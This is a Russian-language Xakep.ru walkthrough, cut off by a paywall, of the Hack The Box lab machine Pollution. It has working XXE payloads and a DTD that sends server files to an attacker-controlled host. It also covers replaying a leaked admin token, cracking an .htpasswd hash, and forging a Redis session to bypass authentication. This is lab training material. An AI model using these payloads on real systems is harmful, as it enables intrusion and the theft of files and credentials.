Содержание статьи
Упражняться мы будем на тренировочной машине Pollution с площадки Hack The Box. Уровень — сложный.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.192 pollution.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Сканер нашел всего три открытых порта:
- 22 — служба OpenSSH 8.4p1;
- 80 — веб‑сервер Apache 2.4.54;
- 6379 — СУБД Redis.
Наиболее вероятная точка входа при таком выборе — веб‑сайт. Его‑то и проверим первым делом.
В информации на сайте отражается реальный домен, который мы добавляем в файл /
.
10.10.11.192 pollution.htb collect.htb
А так как мы получили реальное доменное имя, попробуем просканировать поддомены.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-
-w
— словарь (я использую словари из набора SecLists); -
-t
— количество потоков; -
-u
— URL; -
-H
— заголовок HTTP; -
-fs
— фильтровать страницы по размеру.
Место перебора помечается словом FUZZ.
Получается вот такая команда:
ffuf -u 'http://collect.htb/' -w subdomains-top1million-110000.txt -t 256 -H 'Host: FUZZ.collect.htb' -fs 26197
Добавляем все найденные записи в файл /
.
10.10.11.192 pollution.htb collect.htb forum.collect.htb developers.collect.htb
На первом домене обнаруживаем открытый форум с возможностью регистрации, а на втором нас встречает HTTP-аутентификация.
Переходим к изучению форума.
Точка входа
Регистрируемся на форуме, так как это позволит расширить область исследования. Сразу копируем себе список пользователей, иногда это очень важная информация.
Переходим к открытым темам и просматриваем обсуждения. В одном посте видим, как пользователь расшарил историю прокси‑сервера.
В файле видим всю историю запросов и ответов, проходивших через прокси. Эти данные закодированы в Base64.
Декодировать можно прямо в Burp с помощью комбинации клавиш Ctrl-Shift-B.
Находим очень интересный запрос, который повышает роль пользователя до администратора. Вернемся к исходному сайту и отправим аналогичный запрос с тем же токеном.
Токен оказался неодноразовый, и роль пользователя повысилась до администратора сайта.
Эти привилегии позволяют нам разрешить пользователю получать доступ по API.
Просматриваем историю запросов Burp History и находим запрос на регистрацию пользователя API.
Данные отправляются в формате XML, а значит, здесь может быть уязвимость XXE. Давай проверим!
Точка опоры
XXE
Справка: XXE
Инъекция внешних сущностей XML (XXE) — это уязвимость, которая позволяет атакующему вмешиваться в обработку XML-данных. Эта уязвимость часто помогает атакующему просматривать произвольные файлы в файловой системе сервера и взаимодействовать с любыми серверными или внешними системами, к которым имеет доступ само приложение.
Это происходит из‑за того, что приложение может использовать формат XML для передачи данных. Для их обработки в таких случаях почти всегда применяется стандартная библиотека или API платформы. Уязвимости XXE возникают из‑за того, что спецификация XML содержит потенциально опасные функции, которые можно вызвать, даже если приложение их не использует.
Внешние сущности XML — это настраиваемые сущности, определенные значения которых загружаются из файлов DTD с удаленного сервера.
Попробуем прочитать файл /
. Запустим веб‑сервер:
python3 -m http.server 80
И создадим нагрузку, которая попытается загрузить файл DTD evil.
с нашего веб‑сервера.
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://10.10.14.13/evil.dtd"> %xxe;
]>
<root> <method>POST</method> <uri>/auth/register</uri> <user> <username>ralf</username> <password>ralf</password> </user></root>
Теперь переходим к содержимому файла DTD. Сначала сущность будет читать целевой файл и кодировать его в Base64. А затем загружать новую удаленную сущность, но в URL-параметре передавать закодированный файл, который мы хотим получить.
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../../../../etc/hosts'><!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://10.10.14.6/?file=%file;'>">
%eval;
%exfiltrate;
Мы получили данные, а значит, уязвимость есть. Давай читать файлы сайта. Начинаем, конечно, с index.
(изменяем только первую строку файла DTD).
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=index.php'>
Отправляем новый запрос, получаем файл на свой сервер и декодируем Base64-строку.
Этот файл ничего, кроме новых путей, не раскрывает. Давай получим подключаемый файл bootstrap.
.
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../bootstrap.php'>
И получаем секрет для подключения к службе Redis. К ней перейдем чуть позже, а пока продолжим выжимать максимум из XXE. Правда, больше исходные коды нам ничего не открыли, но помним про HTTP-аутентификацию на одном из доменов. Вспоминаем про домен developers
. Получим учетные данные из файла /
.
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../../../../../../var/www/developers/.htpasswd'>
Чтобы перебрать этот хеш, нам нужно знать режим перебора. В этом поможет справка hashcat.
hashcat --example | grep '\$apr1\$' -A2 -B2
Получаем режим 1600, который передаем в параметре -m
.
hashcat -m 1600 hash.txt rockyou.txt
Получаем пароль и авторизуемся на developers.
, но нас встречает еще и авторизация на сайте.
Теперь перейдем к изучению Redis.
Auth Bypass
Порт открыт, поэтому подключаемся с найденным паролем и получаем все ключи.
redis-cli -h collect.htb -a COLLECTR3D1SPASS
keys *
Получаем сессии, видимо, какого‑то веб приложения. Для проверки переходим к сайту developers
, получаем новую сессию в куки и снова проверяем ключи в Redis.
Получим записи по ключам, чтобы разобрать формат хранящихся данных.
Первая запись соответствует сайту collect
, а только что созданная сессия, конечно же, ничего не хранит. По известной записи сформируем данные для администратора сайта developers
и присвоим только что созданному ключу.
set PHPREDIS_SESSION:iht1inpstsraqqkbnc1grpi8fa "username|s:4:"ralf";role|s:5:"admin";auth|s:4:"True";"
Обновляем страницу на сайте и получаем доступ от имени авторизованного пользователя.
Сразу обращаем внимание на то, что страница передается в качестве URL-параметра page
. В таких случаях нужно сразу искать уязвимости типа LFI или RCE. Я попробовал несколько, но ничего не получилось. Скорее всего, используются фильтры и мы можем посмотреть на них, прочитав код сайта через XXE.
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=../../../../../../var/www/developers/index.php'>
Используется функция include
, но к указанной странице добавляется расширение .
.
PHP include RCE
Даже в таком случае мы можем выполнить произвольный код благодаря репозиторию php_filter_chain_generator.
Теперь отправляем ее на сайт и в ответе видим результат выполнения команды.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»